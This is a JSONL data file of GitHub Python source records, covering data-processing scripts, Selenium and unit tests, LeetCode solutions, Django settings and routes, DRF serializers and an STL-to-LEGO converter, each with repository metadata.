+{"seq_id":"11679008269","text":"import os\nimport pandas as pd\nimport glob\nimport yaml\nfrom cmath import isnan\n\n\nWORKING_DIR = os.path.join('working', 'website')\nDATA_DIR = os.path.join('data', 'social')\nRAW_FILE = os.path.join(DATA_DIR, 'website.csv')\nVIEW_DIR = os.path.join('src', '_data', 'metrics', 'website')\nLOCAL_VIEW_DIR = os.path.join('src','report','september-2022','_data')\n\n\ndef read_existing():\n    try:\n        data = pd.read_csv(RAW_FILE, index_col=['date'], parse_dates=['date'])\n    except:\n        data = pd.DataFrame(None)\n    return data\n\n\ndef save_existing(data):\n    os.makedirs(DATA_DIR, exist_ok=True)\n    data.to_csv(RAW_FILE)\n\n\ndef load_file(filename):\n    data = pd.read_csv(filename, parse_dates=['Date'], index_col=[\n                       'Date'], na_values=['-'],thousands=',',skiprows=6)\n    data.index = data.index.set_names(\n        [x.lower().replace('\\s+', '_') for x in data.index.names])\n    data.columns = data.columns.str.lower().str.replace('\\s+', '_', regex=True)\n    return data\n\n\ndef update_raw_data():\n    files = glob.glob(os.path.join(WORKING_DIR, '*.csv'))\n\n    if (len(files) == 0):\n        print('Nothing to do! No new files found in \"{}\".'.format(WORKING_DIR))\n        return\n\n    data = read_existing()\n    #new_data = pd.concat([load_file(file)\n    #                      for file in files])\n\n    #new_data = pd.DataFrame()\n    #for file in files:\n    #    new_data = new_data.combine_first(load_file(file))\n\n    new_data = pd.DataFrame()\n    for file in files:\n        new_data = load_file(file).combine_first(new_data)\n\n    data = new_data.combine_first(data)\n\n    data = post_combine_process(data)\n\n    save_existing(data)\n\ndef post_combine_process(data):\n    return (data.sort_values(by=['date'])\n                .pipe(makeFloatsNullableInt))\n\n\ndef floatContainsIntsOnly(column) -> bool:\n  for f in list(column):\n    if not (f.is_integer() or isnan(f)):\n      return False\n\n  return True\n\ndef makeFloatsNullableInt(df:pd.DataFrame) -> pd.DataFrame:\n  #print(df.col)\n  for col in list(df.columns):\n    if df[col].dtype == \"float64\":          \n      if floatContainsIntsOnly(df[col]):\n        df[col] = df[col].astype(\"Int64\")\n\n  return df\n\ndef create_summary():\n    os.makedirs(VIEW_DIR, exist_ok=True)\n\n    data = read_existing()\n    data.reset_index(inplace=True)\n    data.date = pd.to_datetime(data.date)\n\n    # Save summaries\n    os.chdir(VIEW_DIR)\n\n    # Create monthly summary\n    data['month'] = data.date.dt.to_period('M')\n    START_DATE = '2021-10-01'\n    END_DATE = '2022-10-31'\n    data = data[data.date.between(START_DATE,END_DATE)]\n    monthly = data.groupby('month')\n    monthly_summary = pd.DataFrame({\n        'users': monthly.users.sum(),\n        'page_views': monthly.page_views.sum(),\n        'unique_page_views': monthly.unique_page_views.sum()\n    })\n    monthly_summary.pipe(makeFloatsNullableInt).to_csv('monthly.csv')\n\n\ndef create_summary_metrics():\n    START_DATE = '2022-08-01'\n    END_DATE = '2022-10-01'\n    \n    os.chdir('../../../../')\n    os.makedirs(LOCAL_VIEW_DIR, exist_ok=True)\n    \n    data = read_existing()\n    data.reset_index(inplace=True)\n\n    os.chdir(LOCAL_VIEW_DIR)\n    data = data[data.date.between(START_DATE,END_DATE)]\n    with open('social.yml','r') as metrics_file:\n        metrics = yaml.safe_load(metrics_file)\n\n    metrics['website']['pageviews'] = int(data.page_views.sum())\n    metrics['website']['unique_page_views'] = int(data.unique_page_views.sum())\n    metrics['website']['users'] = int(data.users.sum())\n\n    \n    with open('social.yml','w') as metrics_file:\n        yaml.safe_dump(metrics,metrics_file,default_flow_style=False)\n\nif __name__ == '__main__':\n    update_raw_data()\n    create_summary()\n    create_summary_metrics()","repo_name":"open-innovations/leeds-digital-festival-data","sub_path":"scripts/metrics/website.py","file_name":"website.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32915509096","text":"import unittest\nfrom pyunitreport import HTMLTestRunner\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\nclass SearchTests(unittest.TestCase):\n\n    # Ejecuta (to-do) lo necesario antes de hacer una prueba, prepara el entorno de la prueba misma\n    @classmethod\n    def setUpClass(cls) -> None:\n        cls.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\n        driver = cls.driver\n        driver.implicitly_wait(10)\n        driver.get(\"http://demo-store.seleniumacademy.com/\")\n        driver.maximize_window()\n\n    def test_search_tee(self):\n        driver = self.driver\n        search_field = driver.find_element(By.NAME, \"q\")\n        search_field.clear()\n        search_field.send_keys(\"tee\")\n        search_field.submit()\n\n    def test_search_salt_shaker(self):\n        driver = self.driver\n        search_field = driver.find_element(By.NAME, \"q\")\n        search_field.clear()\n        search_field.send_keys(\"salt shaker\")\n        search_field.submit()\n\n        products = driver.find_elements(By.XPATH, '//*[@id=\"top\"]/body/div/div[2]/div[2]/div/div[2]/div[2]/div[3]/ul/li/div/h2/a')\n\n        self.assertEqual(1, len(products))\n\n    @classmethod\n    def tearDownClass(cls) -> None:\n        cls.driver.quit()\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=2, testRunner=HTMLTestRunner(output=\"reportes\", report_name=\"c1_hola_mundo\"))\n","repo_name":"ichcanziho/cursos_platzi","sub_path":"selenium_curso/c3_assertions_test_suit/searchtests.py","file_name":"searchtests.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"74159338172","text":"from abc import ABC, abstractmethod\nfrom collections.abc import Callable\nfrom typing import TypeVar, Generic, Union\nimport numpy as np\nfrom inputs.parseable import Parseable\n\nT = TypeVar('T')\nV = TypeVar('V')\n\n\nclass Converter(ABC, Generic[T]):\n    @abstractmethod\n    def convert(self, daily_input: [str]) -> T:\n        pass\n\n\nclass ListConverter(Generic[V], Converter[list[V]]):\n    def __init__(self, constructor: Union[Callable[[str], V], Parseable[V]]):\n        self.constructor = constructor\n\n    def convert(self, daily_input: [str]) -> list[V]:\n        return [self.convert_line(input_line) for input_line in daily_input]\n\n    def convert_line(self, line_input: str) -> V:\n        if issubclass(self.constructor, Parseable):\n            return self.constructor.parse(line_input)\n        else:\n            return self.constructor(line_input)\n\n\nclass ListOfNumbersConverter(Converter[list[list[int]]]):\n    def convert(self, daily_input: [str]) -> list[list[int]]:\n        big_list = []\n        small_list = []\n        for val in daily_input:\n            if len(val) == 0:\n                big_list.append(small_list)\n                small_list = []\n            else:\n                small_list.append(int(val))\n        big_list.append(small_list)\n        return big_list\n\n\nclass InputSplitter(Converter[list[list[str]]]):\n    def convert(self, daily_input: [str]) -> list[list[str]]:\n        big_list = []\n        small_list = []\n        for val in daily_input:\n            if len(val) == 0:\n                big_list.append(small_list)\n                small_list = []\n            else:\n                small_list.append(val)\n        big_list.append(small_list)\n        return big_list\n\n\nclass NumpyConverter(Converter[np.ndarray]):\n    def convert(self, daily_input: [str]) -> np.ndarray:\n        return np.array([list(line) for line in daily_input]).astype(int)\n","repo_name":"Obot1234/aoc_2022","sub_path":"inputs/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5809070499","text":"class Solution:\n\tdef numSmallerByFrequency(self, queries: List[str], words: List[str]) -> List[int]:\n\t\tdef f(s):\n\t\t\tt = sorted(list(s))[0]\n\t\t\treturn s.count(t)\n\t\tquery = [f(x) for x in queries]\n\t\tword = [f(x) for x in words]\n\t\tm = []\n\t\tfor x in query:\n\t\t\tcount = 0\n\t\t\tfor y in word:\n\t\t\t\tif y>x:\n\t\t\t\t\tcount+=1\n\t\t\tm.append(count)\n\t\treturn m","repo_name":"guhankesav/LEETCODE","sub_path":"1170-compare-strings-by-frequency-of-the-smallest-character/1170-compare-strings-by-frequency-of-the-smallest-character.py","file_name":"1170-compare-strings-by-frequency-of-the-smallest-character.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"17035274331","text":"#!/usr/bin/env python\n# author = 'ZZH'\n# time = 2022/6/1\n# project = leetcode473\nfrom functools import lru_cache\nfrom typing import List\n\n\nclass Solution:\n    def makesquare(self, matchsticks: List[int]) -> bool:\n        sum_= sum(matchsticks)\n        if sum_%4 or len(matchsticks) < 4:\n            return False\n        k=4\n        l=[0 for _ in range(k)]\n        avg=sum_//4\n        matchsticks.sort(reverse=True)\n        def digui(idx):\n            if idx==len(matchsticks):\n                return True\n\n            for i in range(k):\n                l[i] += matchsticks[idx]\n                if l[i] <=avg and digui(idx+1):\n                    return True\n                l[i]-=matchsticks[idx]\n            return False\n        return digui(0)\n\nsolution=Solution()\nprint(solution.makesquare( [5,5,5,5,4,4,4,4,3,3,3,3]))","repo_name":"ZZHbible/leetcode","sub_path":"leetcode473.py","file_name":"leetcode473.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"14842757616","text":"import numpy as np\nimport unittest\n\nfrom kitkopt.hyper_parameter import HyperParameter\nfrom kitkopt.random_optimizer import propose_points, \\\n    _get_new_unique_point, minimize_function\nfrom kitkopt.hypergrid import not_in_array, get_hypergrid, prune_hypergrid\nfrom kitkopt.utilities import debugtool, OptimizerError\n\n\nclass RandomOptimizerTest(unittest.TestCase):\n\n    def test_minimize(self):\n        def funct(x):\n            return np.sum(np.square(x))\n\n        hyperparam_config = [\n            HyperParameter(-5, 5, 1),\n            HyperParameter(-5, 5, 1)\n        ]\n\n        best_point, best_value = minimize_function(funct, hyperparam_config,\n                                                   extra_function_args=(),\n                                                   tolerance=1e-2,\n                                                   seed=123)\n        np.testing.assert_allclose(best_point, np.array([0, 0]), atol=1e-5)\n        np.testing.assert_allclose(best_value, np.array([0]), atol=1e-5)\n\n    def test_propose_points(self):\n        hyperparam_config = [\n            HyperParameter(0, 4, 1),\n            HyperParameter(0, 5, 2)\n        ]\n        tested_points = np.array([\n            [0, 4],\n            [1, 0],\n            [3, 2],\n            [4, 2]\n        ])\n        target = np.array([[1., 2.],\n                           [2., 4.],\n                           [0., 2.],\n                           [1., 4.],\n                           [4., 4.],\n                           [4., 0.],\n                           [0., 0.],\n                           [2., 0.],\n                           [3., 0.],\n                           [3., 4.],\n                           [2., 2.]])\n        result = propose_points(tested_points, None, hyperparam_config, 11, seed=123)\n        # print(repr(result))\n        np.testing.assert_almost_equal(result, target, decimal=5)\n\n        target = np.array([[1., 2.],\n                           [2., 4.],\n                           [0., 2.],\n                           [1., 4.],\n                           [4., 4.],\n                           [4., 0.]])\n        result = propose_points(tested_points, None, hyperparam_config, 6, seed=123)\n        # print(repr(result))\n        np.testing.assert_almost_equal(result, target, decimal=5)\n\n        # Check error\n        with self.assertRaises(OptimizerError):\n            propose_points(tested_points, None, hyperparam_config, 20, seed=123)\n\n    def test_get_new_unique_point(self):\n        hyperparam_config = [\n            HyperParameter(0, 4, 1),\n            HyperParameter(0, 5, 2)\n        ]\n        grid = get_hypergrid(hyperparam_config)\n        previous_points = np.array([\n            [0, 4],\n            [1, 0],\n            [3, 2],\n            [4, 2]\n        ])\n\n        for idx in range(100):\n            self.assertTrue(not_in_array(_get_new_unique_point(previous_points, grid, 100), previous_points))\n\n        # Check error\n        with self.assertRaises(OptimizerError):\n            _get_new_unique_point(previous_points, previous_points)\n","repo_name":"jgolebiowski/kitkopt","sub_path":"tst/test_random_optimizer.py","file_name":"test_random_optimizer.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"}
+{"seq_id":"17780858942","text":"#! /g/arendt/EM_6dpf_segmentation/platy-browser-data/software/conda/miniconda3/envs/platybrowser/bin/python\nimport numpy as np\nimport h5py\nfrom mmpb.attributes.base_attributes import base_attributes\n\n\ndef add_max_id():\n    input_path = '../data/0.5.0/images/cellular-models-labels_180919_500nm.h5'\n    input_key = 't00000/s00/0/cells'\n    with h5py.File(input_path) as f:\n        ds = f[input_key]\n        data = ds[:]\n        max_id = int(data.max())\n        print(\"Found max id:\", max_id)\n        ds.attrs['maxId'] = max_id\n\n\ndef compute_vc_table():\n    input_path = '../data/0.5.0/images/cellular-models-labels_180919_500nm.h5'\n    input_key = 't00000/s00/0/cells'\n    output_path = './vc_default.csv'\n    tmp_folder = 'tmp_vc_table'\n    target = 'local'\n    max_jobs = 32\n\n    resolution = [.5, .5, .5]\n    base_attributes(input_path, input_key, output_path, resolution,\n                    tmp_folder, target, max_jobs, correct_anchors=False)\n\n\ndef check_ids():\n    input_path = '../data/0.5.0/images/cellular-models-labels_180919_500nm.h5'\n    input_key = 't00000/s00/0/cells'\n    with h5py.File(input_path) as f:\n        data = f[input_key][:]\n    print(data.max())\n    print(np.unique(data))\n\n\nif __name__ == '__main__':\n    add_max_id()\n    compute_vc_table()\n    # check_ids()\n","repo_name":"mobie/platybrowser-project","sub_path":"segmentation/compute_default_table.py","file_name":"compute_default_table.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"}
+{"seq_id":"10723939838","text":"from pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.signal import argrelmin, argrelmax\nfrom tqdm import tqdm\n\n\nclass Visualizer:\n    def __init__(self, folder):\n        self.folder = f\"../data/master_equation/{folder}\"\n        self.simulation_results = []\n        for folder in Path(self.folder).glob(\"*\"):\n            s = SimulationResults(folder)\n            if s.times is not None:\n                self.simulation_results.append(s)\n\n    def plot(self, show=False):\n        max_t = 0\n        for res in self.simulation_results:\n            smoothed, t_smoothed = res.get_smoothed()\n            time = max(t_smoothed)\n            max_t = max(time, max_t)\n            plt.plot(t_smoothed, smoothed)\n        plt.gca().set_prop_cycle(None)\n        eqs = []\n        times = []\n        for res in self.simulation_results:\n            eq, w = res.get_equilibrium_estimate()\n            if eq is not None:\n                eqs.append(eq)\n                times.append(w)\n                plt.plot([0, max_t], [eq, eq], lw=w/10)\n        eq = (np.array(eqs) * np.array(times)/sum(times)).sum()\n        print(eq)\n        plt.plot([0, max_t], [eq, eq], lw=3, color=\"grey\", linestyle=\"--\")\n        eq = np.array(eqs).mean()\n        print(eq)\n        plt.plot([0, max_t], [eq, eq], lw=3, color=\"black\", linestyle=\"--\")\n        if show:\n            plt.show()\n\n    def plot_equilibrium_estimate(self, i, show=False):\n        simulation = self.simulation_results[i]\n        estimates, times = [], []\n        for j in tqdm(range(0, len(simulation.times), 500)):\n            estimate, peaks = simulation.get_equilibrium_estimate(j)\n            if estimate is not None:\n                estimates.append(estimate)\n                times.append(simulation.real_times[j])\n        plt.plot(times, estimates)\n        # plt.plot(simulation.times, simulation.population_sizes)\n        if show:\n            plt.show()\n\n\nclass SimulationResults:\n    def __init__(self, folder):\n        history_file = Path(f\"{folder}/population_size_history.txt\")\n        if history_file.exists():\n            with history_file.open(\"r\") as fl:\n                self.times = list(map(float, fl.readline().strip().split()))\n                self.population_sizes = list(map(float, fl.readline().strip().split()))\n                self.real_times = list(map(float, fl.readline().strip().split()))\n        else:\n            self.times, self.population_sizes, self.real_times = None, None, None\n\n    def get_smoothed(self, popsizes=None, times=None):\n        if popsizes is None:\n            popsizes = np.array(self.population_sizes)\n        if times is None:\n            times = np.array(self.times)\n        minima, t_minima = popsizes[argrelmin(popsizes, order=10)], times[argrelmin(popsizes, order=10)]\n        maxima, t_maxima = popsizes[argrelmax(popsizes, order=10)], times[argrelmax(popsizes, order=10)]\n        minima, maxima, t_minima, t_maxima = minima[:min(len(minima), len(maxima))], \\\n            maxima[:min(len(minima), len(maxima))], \\\n            t_minima[:min(len(minima), len(maxima))], \\\n            t_maxima[:min(len(minima), len(maxima))]\n        smoothed, t_smoothed = (minima + maxima) / 2, (t_minima + t_maxima) / 2\n        return smoothed, t_smoothed\n\n    def get_equilibrium_estimate(self, i):\n        smoothed, t_smoothed = self.get_smoothed(np.array(self.population_sizes)[:i], np.array(self.times)[:i])\n        mins, maxes = smoothed[argrelmin(smoothed)], smoothed[argrelmax(smoothed)]\n        if len(mins) and len(maxes):\n            return (mins[-1] + maxes[-1])/2, len(mins) + len(maxes)\n        else:\n            return None, None\n\nvisualizer = Visualizer(\"1685131265447297_knowledgeable_kingfish\")\nfor i in range(len(visualizer.simulation_results)):\n    visualizer.plot_equilibrium_estimate(i, show=False)\nplt.show()\n# visualizer = Visualizer(\"1685126354110857long_run\")\n# visualizer.plot_equilibrium_estimate(0, show=True)\n","repo_name":"Captain-Blackstone/AsymmetricDivisionsSimulations","sub_path":"simulations/scripts/masterVizualizations.py","file_name":"masterVizualizations.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42398192255","text":"import pickle\nimport random\nimport sys\nimport openpyxl\nimport string\n\ntry:\n    SHEET_NAME = sys.argv[1]\nexcept:\n    raise Exception(\"\\n\\nUsage: python word_processing.py [spreadsheet name].xlsx\\n\" + \\\n        \"Puts the processed spreadsheet in [spreadsheet name]_processed.xlsx\")\n\nwbIn = openpyxl.load_workbook(SHEET_NAME)\ninSheet = wbIn.active\n    \nREPORT_COL = \"P\"\nRESULT_COL = \"Q\"\n\nMAX_ROW = 437\n\ndataList = []\n\nfor row in range(2, MAX_ROW):\n    dataList.append([])\n    dataList[-1].append(inSheet[REPORT_COL + str(row)].value)\n    dataList[-1].append(string.strip(inSheet[RESULT_COL + str(row)].value))\n    \nnumPoints = len(dataList)    \ntrainingSet = dataList[:int(3.*numPoints/4.)]\ntestSet = dataList[int(3.*numPoints/4.):]  \n    \npickle.dump(trainingSet, open(\"adams_training_set.p\", \"wb\"))\npickle.dump(testSet, open(\"adams_test_set.p\", \"wb\"))","repo_name":"adamyedidia/cancer","sub_path":"pickle_maker.py","file_name":"pickle_maker.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"74617223292","text":"from .common import *\nimport sentry_sdk\nfrom sentry_sdk.integrations.django import DjangoIntegration\n\nDEBUG = True\n\n# logging\nLOGGING = {\n    'version': 1,\n    'disable_existing_loggers': False,\n    'formatters': {\n        'console': {\n            'format': '%(name)-12s %(levelname)-8s %(message)s'\n        },\n        'file': {\n            'format': '%(asctime)s %(name)-12s %(levelname)-8s %(message)s'\n        }\n    },\n    'handlers': {\n        'console': {\n            'class': 'logging.StreamHandler',\n            'formatter': 'console'\n        },\n        'file': {\n            'level': 'DEBUG',\n            'class': 'logging.FileHandler',\n            'formatter': 'file',\n            'filename': '/tmp/debug.log'\n        }\n    },\n    'loggers': {\n        '': {\n            'level': 'DEBUG',\n            'handlers': ['console', 'file']\n        }\n    }\n}\n\nsentry_sdk.init(\n    dsn=\"https://a85edd5f51654f20b8fd95efe3a8ceff@o1095889.ingest.sentry.io/6115869\",\n    integrations=[DjangoIntegration()],\n\n    # Set traces_sample_rate to 1.0 to capture 100%\n    # of transactions for performance monitoring.\n    # We recommend adjusting this value in production.\n    traces_sample_rate=1.0,\n\n    # If you wish to associate users to errors (assuming you are using\n    # django.contrib.auth) you may enable sending PII data.\n    send_default_pii=True\n)\n","repo_name":"athfemoiur/mini-trello","sub_path":"src/trello/envs/development.py","file_name":"development.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32332602237","text":"from django.conf.urls import url\r\nfrom django.contrib.auth import views as auth_views\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n    url(r'^$',views.premium, name='premium'),\r\n    url(r'^about/$',views.aboutPremium, name='aboutPremium'),\r\n    url(r'^howItWorks/$', views.howItWorks, name='howItWorks'),\r\n    url(r'^dowcipy/$',views.dowcipy,name='dowcipy'),\r\n    url(r'^tapety/$', views.tapety,name='tapety'),\r\n    url(r'^charge-points/',views.chargePoints,name='chargePoints'),\r\n    url(r'^logout/$', auth_views.logout, {'next_page': '/'}, name='logout'),\r\n    url(r'^exchangePoints/', views.exchangePointsToVouchers, name='exchangePoints'),\r\n    url(r'^vouchers/$', views.vouchers, name='vouchers'),\r\n    url(r'^ranking/$', views.ranking, name='ranking'),\r\n    url(r'^prizes/$', views.prizes, name='prizes'),\r\n    url(r'^get-code/$', views.getCode, name='getCode'),\r\n]","repo_name":"SarithT/wygraj-nagrode","sub_path":"premium/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"24190782064","text":"\"\"\"\n-----------------------------------\nSTL to LEGO Converter - Main Script\n-----------------------------------\n\nDescription:\n-------------\nThis script provides an interface to transform STL (Stereolithography) \n3D model files into LEGO brick structures. The 3D models can be scaled according\nto the desired height and unit of measure specified by the user.\nThis is accomplished by executing several operations such as mesh rotation, \nalignment, rescaling, conversion to voxel arrays and ultimately, plotting the structure.\n\nAuthors: Max Idermark & Mats Gard\n\"\"\"\n\nimport tkinter as tk\nimport numpy as np\n\nfrom tkinter import filedialog\nfrom stl import mesh\nfrom tkinter import ttk\n\nfrom bricker_functions import *\nfrom STLImport import *\n\n\ndef STL_height(file_path):\n    stl_mesh = mesh.Mesh.from_file(file_path)\n    min_height, max_height = np.min(stl_mesh.z), np.max(stl_mesh.z)\n    return max_height - min_height\n\n\ndef loading_screen(root, progress_var):\n    root.title(\"Loading...\")\n\n    progress_label = tk.Label(root, textvariable=progress_var)\n    progress_label.pack(pady=10)\n\n    # Create a Canvas widget to display the animated GIF\n    canvas = tk.Canvas(root, width=350, height=0)\n    canvas.pack()\n\n    # Prevent closing the loading screen\n    root.protocol(\"WM_DELETE_WINDOW\", lambda: None)\n\n\ndef browse_file():\n    file_path.set(filedialog.askopenfilename(\n        filetypes=[(\"STL files\", \"*.stl\")]))\n\n\ndef main_calculations(stl_path, scale):\n    # Initialize the loading screen\n    root = tk.Tk()\n    progress_var = tk.StringVar()\n    progress_var.set(\"Starting...\")\n    loading_screen(root, progress_var)\n    root.update()\n\n    # Create a mesh object\n    stl_mesh = stl_to_mesh(stl_path)\n\n    # Rotate the STL mesh\n    # stl_mesh = set_new_z_axis(stl_mesh, 2)\n\n    # Align the tallest dimension of the mesh with the Z axis\n    # stl_mesh = align_tallest_dimension_with_z(stl_mesh)\n\n    # Rescale the STL mesh\n    target_scale = scale\n    voxel_size = np.array([7.8, 7.8, 9.6])\n    stl_mesh = rescale_mesh(stl_mesh, voxel_size, target_scale)\n\n    # Convert the STL mesh to a voxel array\n    voxel_array = stl_to_voxel_array(stl_mesh, voxel_size)\n\n    # Visualize the voxel array\n    # plot_voxel_array(voxel_array, voxel_size)\n\n    save_array_json(voxel_array, \"voxel_array\")\n\n    # Convert the nested list to a NumPy array and switches axises\n    new_axes_order = [2, 1, 0]  # [0, 1, 2] = [x,y, z] ergo same\n    voxel_array = switch_axis_of_array(np.array(voxel_array), new_axes_order)\n\n    # Initialize an array to store the tiled output\n    tiled_volume = np.zeros_like(voxel_array, dtype=int)\n\n    # Instead of calling the plotting functions directly, call the new center_plot_legos\n    root.after(0, center_plot_legos, tiled_volume, voxel_array)\n\n    # Destroy the loading screen\n    root.after(0, root.destroy)\n\n    # Start the main loop\n    root.mainloop()\n\n\ndef calculate_scale_and_call_function():\n    \"\"\"\n    Function calls when 'Generete' button is pressed\n    \"\"\"\n\n    height = float(desired_height.get())\n    unit = height_unit.get()\n\n    if unit == \"cm\":\n        height = height * 10\n    elif unit == \"m\":\n        height = height * 1000\n\n    if unit != \"LEGO bricks\":\n        height = height / LEGO_BRICK_HEIGHT_MM\n    original_stl_height = STL_height(file_path.get())\n    print('OG hight', original_stl_height)\n    scale = height / original_stl_height\n\n    # Run the MAIN calculations\n    main_calculations(file_path.get(), scale)\n\n\nif __name__ == \"__main__\":\n\n    root_GUI = tk.Tk()\n    root_GUI.title(\"STL to LEGO\")\n\n    file_path = tk.StringVar()\n    desired_height = tk.StringVar()\n    height_unit = tk.StringVar()\n\n    LEGO_BRICK_HEIGHT_MM = 9.6\n    original_stl_height = 1\n    if file_path.get() != '':\n        try:\n            # You should replace this with the height of the original STL\n            STL_height(file_path.get())\n        except Exception as e:\n            print(f\"Error: {e}\")\n\n    frame1 = tk.Frame(root_GUI)\n    frame1.pack(padx=10, pady=10)\n    frame2 = tk.Frame(root_GUI)\n    frame2.pack(padx=10, pady=10)\n    frame3 = tk.Frame(root_GUI)\n    frame3.pack(padx=10, pady=10)\n\n    label1 = tk.Label(frame1, text=\"Select STL file:\")\n    label1.pack(side=tk.LEFT)\n    entry1 = tk.Entry(frame1, textvariable=file_path, width=30)\n    entry1.pack(side=tk.LEFT)\n    browse_button = tk.Button(frame1, text=\"Browse\", command=browse_file)\n    browse_button.pack(side=tk.LEFT)\n\n    label2 = tk.Label(frame2, text=\"Desired height:\")\n    label2.pack(side=tk.LEFT)\n    entry2 = tk.Entry(frame2, textvariable=desired_height, width=10)\n    entry2.pack(side=tk.LEFT)\n\n    unit_options = [\"LEGO bricks\", \"cm\", \"m\"]\n    height_unit.set(unit_options[0])\n    unit_dropdown = ttk.Combobox(\n        frame2, textvariable=height_unit, values=unit_options, state=\"readonly\", width=10)\n    unit_dropdown.pack(side=tk.LEFT)\n\n    # Start the program from the GUI and init all calls\n    convert_button = tk.Button(\n        frame3, text=\"Convert\", command=calculate_scale_and_call_function)\n    convert_button.pack(pady=10)\n\n    root_GUI.mainloop()\n","repo_name":"Accelerox/stl2lego","sub_path":"Code/stl2lego.py","file_name":"stl2lego.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"7264984641","text":"from rest_framework import serializers\nfrom rest_framework.relations import SlugRelatedField\n\nfrom posts.models import Comment, Follow, Group, Post, User\n\n\nclass PostSerializer(serializers.ModelSerializer):\n    author = SlugRelatedField(slug_field='username', read_only=True)\n\n    class Meta:\n        fields = '__all__'\n        model = Post\n\n\nclass GroupSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = Group\n        fields = (\n            'id',\n            'title',\n            'slug',\n            'description',\n        )\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n    author = serializers.SlugRelatedField(\n        read_only=True,\n        slug_field='username'\n    )\n\n    class Meta:\n        model = Comment\n        fields = (\n            'id',\n            'author',\n            'post',\n            'text',\n            'created',\n        )\n        read_only_fields = ('post',)\n\n\nclass FollowSerializer(serializers.ModelSerializer):\n    user = serializers.SlugRelatedField(\n        queryset=User.objects.all(),\n        slug_field='username',\n        default=serializers.CurrentUserDefault()\n    )\n    following = serializers.SlugRelatedField(\n        queryset=User.objects.all(),\n        slug_field='username',\n    )\n\n    class Meta:\n        model = Follow\n        fields = ('following', 'user')\n        validators = (\n            serializers.UniqueTogetherValidator(\n                queryset=model.objects.all(),\n                fields=('user', 'following'),\n                message=('Вы уже подписаны!')\n            ),\n        )\n\n    def validate(self, data):\n        if data['following'] == self.context['request'].user:\n            raise serializers.ValidationError(\n                'На себя невозмможно подписаться!')\n        return data\n","repo_name":"vital00000/api_final_yatube","sub_path":"yatube_api/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"20137250522","text":"from typing import List\n\n\n\nclass Solution:\n    # Not Working\n    # def canJump(self, nums: List[int]) -> bool:\n    #     currID: int = 0  # current location\n    #     while currID < len(nums) - 1:\n    #         step = nums[currID]\n    #         if step == 0:\n    #             return False\n    #         if step + currID >= len(nums) - 1:\n    #             return True\n    #         maxItem = 0\n    #         maxId = 0\n    #         for i, item in enumerate(nums[currID + 1: currID + step + 1]):\n    #             if item >= maxItem:\n    #                 maxId = i\n    #                 maxItem = item\n    #\n    #         currID = currID + maxId + 1\n    #\n    #     return True\n    def canJump(self, nums: List[int]) -> bool:\n        \"\"\"\n        Solved by DP\n        \"\"\"\n        farest = 0\n        for i in range(len(nums)):\n            if i > farest:\n                return False\n            farest = max(farest, i + nums[i])\n\n        return True\n\n    def canJump2(self, nums: List[int]) -> bool:\n        \"\"\"\n        If any 0 is presented, we want to see if there is a way to get pass a pole\n        \"\"\"\n        for i in range(len(nums) - 2, -1, -1):\n            if nums[i] == 0:\n                gap = 1\n                while nums[i] < gap:\n                    gap += 1\n                    i -= 1\n                    if i < 0: return False\n        return True\n\n\nif __name__ == '__main__':\n    sol = Solution()\n    nums = [5,9,3,2,1,0,2,3,3,1,0,0]\n    print(sol.canJump(nums))\n    nums = [2, 0, 0]\n    print(sol.canJump(nums))\n    nums = [2,3,1,1,4]\n    print(sol.canJump(nums))\n    nums = [3,2,1,0,4]\n    print(sol.canJump(nums))\n","repo_name":"Rocky-Zhenxiang-Fang/LeetCode","sub_path":"55. Jump Game.py","file_name":"55. Jump Game.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
